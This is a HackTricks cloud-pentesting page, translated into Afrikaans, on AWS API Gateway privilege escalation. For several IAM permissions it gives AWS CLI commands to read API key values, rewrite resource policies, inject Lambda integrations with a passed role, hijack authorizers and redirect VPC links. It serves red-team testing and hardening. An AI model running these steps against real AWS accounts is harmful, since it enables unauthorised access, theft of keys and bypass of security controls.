AWS - Apigateway Privesc

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Apigateway

Vir meer inligting kyk:

AWS - API Gateway Enum

apigateway:POST

Met hierdie toestemming kan jy API-sleutels van die gekonfigureerde API's genereer (per streek).

aws --region <region> apigateway create-api-key

Potensiële Impak: Jy kan nie privesc nie met hierdie tegniek nie, maar jy kan dalk toegang kry tot sensitiewe inligting.

apigateway:GET

Met hierdie toestemming kan jy gegenereerde API-sleutels van die ingestelde API's kry (per streek).

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Potensiële Impak: Jy kan nie bevoorregte eskalasie uitvoer met hierdie tegniek nie, maar jy kan moontlik toegang tot sensitiewe inligting kry.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Met hierdie regte is dit moontlik om die hulpbronbeleid van 'n API te wysig om jouself toegang te gee om dit te roep en moontlik toegang tot die API gateway te misbruik (soos die aanroeping van 'n kwesbare lambda).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Potensiële Impak: Jy sal gewoonlik nie direk kan privilige-escalate met hierdie tegniek nie, maar jy kan dalk toegang kry tot sensitiewe inligting.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Benodig toetsing

'n Aanvaller met die regte apigateway:PutIntegration, apigateway:CreateDeployment, en iam:PassRole kan 'n nuwe integrasie by 'n bestaande API Gateway REST API met 'n Lambda-funksie wat 'n IAM rol geheg het, toevoeg. Die aanvaller kan dan die Lambda-funksie trigger om willekeurige kode uit te voer en moontlik toegang te verkry tot die hulpbronne wat met die IAM rol geassosieer is.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potensiële Impak: Toegang tot bronne wat verband hou met die IAM rol van die Lambda-funksie.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Benodig toetsing

'n Aanvaller met die regte apigateway:UpdateAuthorizer en apigateway:CreateDeployment kan 'n bestaande API Gateway outentiseerder wysig om sekuriteitskontroles te omseil of arbitrêre kode uit te voer wanneer API-versoeke gemaak word.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potensiële Impak: Om sekuriteitskontroles te omseil, ongemagtigde toegang tot API-bronne.

Benodig toetsing

'n Aanvaller met die toestemming apigateway:UpdateVpcLink kan 'n bestaande VPC-skakelings aanpas om na 'n ander Netwerk Lasbalansierder te wys, wat moontlik private API-verkeer na ongemagtigde of skadelike bronne kan omskakel.

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Potensiële Impak: Onbevoegde toegang tot private API-bronne, onderskepping of ontwrigting van API-verkeer.

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated